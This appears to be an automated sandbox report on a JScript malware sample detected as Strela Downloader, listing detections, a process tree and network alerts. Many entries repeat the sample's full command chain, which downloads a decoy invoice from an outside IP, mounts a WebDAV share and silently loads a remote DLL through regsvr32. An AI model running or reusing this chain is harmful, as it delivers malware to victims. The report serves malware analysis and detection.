Edit tour

Windows Analysis Report
489131343024428850.js

Overview

General Information

Sample name:	489131343024428850.js
Analysis ID:	1587716
MD5:	120d67ea0afbe8a2dc705c703c64bb21
SHA1:	00a28c6bccaf3fb2d58014f9afbb7620a06be963
SHA256:	15809d9095b28bf4a4ecc64678a1d490a1b5c4b7c20dafc6c96cbb4617aa26e3
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains capabilities to detect virtual machines

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7592 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\489131343024428850.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7684 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28979132320715.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7692 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7736 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7908 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 8116 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 280 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1752,i,13136889810547784429,7287884060939422438,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7944 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 8016 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 8176 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7592	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28979132320715.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7684, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7736, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28979132320715.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7684, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7736, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\489131343024428850.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\489131343024428850.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\489131343024428850.js", ProcessId: 7592, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 8016, Protocol: tcp, SourceIp: 192.168.2.10, SourceIsIpv6: false, SourcePort: 49757

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28979132320715.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28979132320715.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\489131343024428850.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7592, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28979132320715.dll, ProcessId: 7684, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28979132320715.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28979132320715.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\489131343024428850.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7592, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28979132320715.dll, ProcessId: 7684, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28979132320715.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28979132320715.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\489131343024428850.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7592, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28979132320715.dll, ProcessId: 7684, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28979132320715.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28979132320715.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\489131343024428850.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7592, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28979132320715.dll, ProcessId: 7684, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28979132320715.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28979132320715.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\489131343024428850.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7592, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28979132320715.dll, ProcessId: 7684, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\489131343024428850.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\489131343024428850.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\489131343024428850.js", ProcessId: 7592, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28979132320715.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7684, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7736, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7944, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8016, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8176, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7944, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8016, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28979132320715.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28979132320715.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\489131343024428850.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7592, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28979132320715.dll, ProcessId: 7684, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T17:19:16.803929+0100	1810005	1	Potentially Bad Traffic	192.168.2.10	49757	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T17:19:14.513414+0100	1810000	2	Potentially Bad Traffic	192.168.2.10	49740	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 489131343024428850.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 489131343024428850.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.10:49757 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:19:14 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49757

Source: global traffic

TCP traffic: 192.168.2.10:49757 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.10:49740 -> 193.143.1.205:80

Source: global traffic

